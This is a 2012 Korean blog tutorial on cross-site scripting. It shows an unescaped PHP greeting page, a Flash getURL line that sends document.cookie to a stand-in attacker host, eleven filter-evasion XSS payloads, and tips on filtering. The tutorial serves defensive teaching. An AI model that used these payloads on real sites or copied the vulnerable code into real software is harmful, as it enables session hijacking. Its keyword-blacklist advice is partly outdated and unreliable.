Top

[WEB]XSS..? | Web-Programing
김경훈 (admin) | Editor | 2012/08/07 19:47:46 | 조회:12960

 [안전한 웹 코드 작성하기] #2. XSS (Cross-Site Scripting)

요즘 뉴스등의 매스 미디어들을 통해 XSS에 대한 사실이 일반인들에게도 널리 알려져있습니다.
또한, 공식적인 통계에 의하면, 최근의 공격은 XSS가 많은 비중을 차지하고 있다고 합니다.
이러한 Cross-Site Scripting은 어떻게 하며, 또 어떻게 막아야할까요?
결과로써 해커가 원하는 태그(HTML Element)를 띄우는 것이 핵심

해커가 원하는 태그를 페이지에 띄우는 것이 XSS의 핵심이라 할 수 있습니다.
예제 페이지를 한번 보겠습니다.

test.html:

<HTML>
<HEAD>
<TITLE>http://www.victim.com/test.html</TITLE>
</HEAD>

<BODY>
<FORM action="hello.php" method="POST">
이름: <INPUT TYPE=text name="user"><INPUT TYPE=submit value=" 인사하기 ">
</FORM>
</BODY>
</HTML>

hello.php:

 

<?
print($user."님 안녕하세요");
?>

평범한 인사말 페이지인데, 이름에 한번 태그를 넣어보도록 하겠습니다.

 

사용자 삽입 이미지
그러자 아래와 같은 화면이 떴습니다.

사용자 삽입 이미지
이 것은 잠재적으로 이 페이지가 XSS에 취약함을 의미합니다.

실제 많은 인터넷 게시판들이 이러한 XSS 공격에 취약하며, 막기 가장 까다로운 것이 XSS 공격이기도 합니다.

왜냐하면, 특정 방법을 패치하면 또 다른 방법이 나오는 것이 XSS니까요.

예를 들어 해커가 이름에 위 태그 대신 아래 태그를 입력했다고 합시다.

 

<SCRIPT>top.location = 'http://www.playboy.com';</SCRIPT>

그러면 인사하기 버튼을 누르는 순간 해커의 화면에는 플레이보이라 불리는 성인 잡지 사이트로 이동되며, 만약 이것이 게시판이였다면, 이 태그가 달린 글을 클릭하는 순간 플레이보이 사이트로 이동됨을 의미합니다.

그런데, 이게 전부일까요?

경우에 따라 이미 알려진 취약점을 이용, 사용자 컴퓨터에 바이러스를 심을 수 있으며, 혹은 권한을 탈취하기 위해 쿠키(Cookie)라 불리는 인증 정보를 가로챌 수도 있습니다.

여기서 가장 심각한 문제가 '쿠키 탈취' 입니다.

쿠키라 함은, 로그인 정보 등이 저장되는 조그마한 파일이며, 이 정보가 해커의 손에 들어오게 되면 해커는 그 사람의 아이디로 접근할 수 있습니다. ( 이 쿠키는 암호화되어있기 때문에, 해커가 XSS 등을 통해서 다른 사람의 쿠키를 빼와 그것을 사용하려고 하는 것 입니다. )

주소창에 아래 스크립트를 입력한 후 실행하면 Cookie 정보가 표시됨을 알 수 있습니다.
해커는 이런 스크립트를 이용하여 글을 읽는 사용자의 쿠키 Data를 가로챌 수도 있습니다.:

 

javascript:alert(document.cookie);


안전하다고 생각되는 서비스는 오히려 적에게 공격의 기회를 줄 수도 있다


예를 들어 플래시를 서비스하는 회사가 있다고 합시다. 이 회사는 플래시 무비를 업로드할 수 있고, 이 무비의 소개서를 입력할 수 있습니다. 물론 소개서의 입력 내용은 모든 태그를 filtering 함으로써 XSS 공격으로부터 안전하다고 가정합니다.

그러나 과연 안전할까요? 'No', 플래시(flash)도 XSS 공격을 할 수 있는 매개물이 되기도 합니다.
플래시의 getURL() 이라는 액션은 사용자 브라우저에 'URL 이동' 명령을 내릴 수 있게 되는데, 이러한
액션을 해커는 악용하여 자바스크립트를 실행하도록 할 수도 있습니다. 예를 들어 아래와 같이 말입니다.:

 

getURL("javascript:top.location='http://www.hacker.com/cookie_save.php?cookie=' + escapeURIComponent(document.cookie);", "_top");

위 액션이 실행되는 순간 해커의 사이트로 쿠키가 저장됨을 알 수 있습니다. 그러나, 이 액션은 플래시 파일(swf) 안에 내장되어, 플래시를 업로드해주는 서비스를 제공하는 사이트측에서는 이러한 액션 유무를 파악할 수 없기 때문에 오히려 감지하기 어렵습니다.

플래시를 이용한 XSS 대처법은 간단합니다.

아래와 같이 allowScriptAccess 속성을 이용하여 브라우저로의 스크립트 접근을 차단할 수 있습니다.

 

<EMBED src="http://www.site.com/uploads/test.swf" allowScriptAccess="never">

필요하면 allowNetworking="interval"이라는 속성을 추가함으로써, 아예 getURL() 액션이나, 그 밖에
네트워킹 관련 액션(XMLSocket, Loader class 등)들을 사용하지 못하게 할 수 있습니다.


요건 몰랐지? 기상 천외한 XSS 방법들 ( "XSS" 메시지 띄우기 )

- 브라우저 버전이나 브라우저 종류에 따라서 작동하지 않는 공격도 있습니다.

1. <SCRIPT> alert('XSS'); </SCRIPT>
기본적인 XSS

2. <IMG src="javascript:alert('XSS');" width=0 height=0>
경로에 javascript: 프로토콜을 삽입한 XSS

3. <IMG src="#" onerror="alert('XSS');" width=0 height=0>
onerror 이벤트를 이용한 XSS

4. <IMG src="http://www.loaded.com/loaded.gif" width=5000 heigth=5000 onmouseenter="alert('XSS');this.outerHTML='';">
사용자가 마우스를 대도록 크기를 조정하고 onmouseenter 이벤트를 이용한 XSS

5. <APPLET data="javascript:alert('XSS');">
애플릿 경로에 javascript: 프로토콜을 삽입한 XSS

6. <TABLE style="background-image: url('javascript:alert('XSS');');">
테이블 배경 그림에 javascript: 프로토콜을 삽입한 XSS

7. <IMG style="width: expression(alert('XSS'));">
CSS의 expression 스크립트 확장 기능을 이용한 XSS

8. <MARQUEE onstart="alert('XSS');this.outerHTML=''" loop=1>XSS</MARQUEE>
마퀴 태그의 onstart 이벤트를 이용한 XSS

9. <IMG src="#" onerror="alert("XSS");" width=0 height=0>
XSS 방지 필터를 우회한 XSS #1

10. <IMG src="#" onerror="alert("XSS");" width=0 height=0>
XSS 방지 필터를 우회한 XSS #2

11. <IMG src="#" onerror="eval('a' + 'lert')('XSS');" width=0 height=0>
alert 키워드를 필터링하는 사이트의 경우 위와 같이 eval() 함수를 응용한 XSS가 가능하다


*** Tip: XSS를 확실하게 막는 방법

1. 태그가 허용되지 않는 사이트에서는 &를 &로, <를 <로, >를 >로 치환하여 태그 및 특수문자의 입력을 허용하지 않게 한다.

2. 태그를 부득이하게 허용해야 하는 경우, on 이라는 글자를 on으로 필터링하면 스크립트 XSS의 절반 이상을 차단하는 효과가 있다. 그리고 script 라는 글자는 s<!-- XSS filter -->cript 나 s<COMMENT></COMMENT>cript 와 같이 주석을 사이에 삽입함으로써 javascript: 프로토콜의 사용을 막을 수 있다. script와 같이 치환함으로써 무력화해야 하는 글자들은, script, expression, eval, document, cookie, alert, confirm, location, .js, ..vbs, frame, ... 등이 있을수 있으며, <!-- -->, <COMMENT>~</COMMENT> 와 같은 주석 태그는 아예 없애버리는 방식으로 차단한다. 대표적으로 네이버에서 서비스하는 카페 게시판의 경우 &#??; 혹은 &#x??; 의 문자에서 ??가 아스키 코드 영역(0~127)에 있는 문자일 경우 아예 . 으로 치환해버려서 XSS 우회를 조금 더 어렵게 해놨다.

3. 글 내용 뿐 아니라 첨부화일이나 글 제목, 기타 입력 값들에 대해서도 XSS 방지를 한다.

4. 입력 화면 뿐 아니라 게시글 읽기 화면(출력 화면)에서도 XSS방지를 한다.

5. 악성 태그를 <COMMENT> ... </COMMENT> , <!-- ... --> , <XMP> ... </XMP> 등으로 감싸 차단할 경우, 닫는 태그를 임의로 추가함으로써 무력화할 수 있으므로 사용하지 않는다.

6. XSS 필터링과 치환 작업 등은 서버단에서 처리하는 것이 우회될 가능성을 줄여준다.

7. 최신 악성 XSS 필터링은 발견 즉시 바로 추가시킨다.

8. document.cookie 등과 같은 악성 XSS를 특정 횟수 이상 시도하면 그 사용자의 아이피 대역의 글쓰기를 하루간 중단하는 방식도 괜찮다.

완벽한 XSS 방지는 없다.

공유하기
공유하기
0
0
0


댓글을 불러오는 중입니다.
▲ 이전글 [HTML] iframe 속성 김경훈 (admin) 2012-08-22 16:04:06
▼ 다음글 [PHP] date_default_timezone_set () 김경훈 (admin) 2012-07-20 10:29:54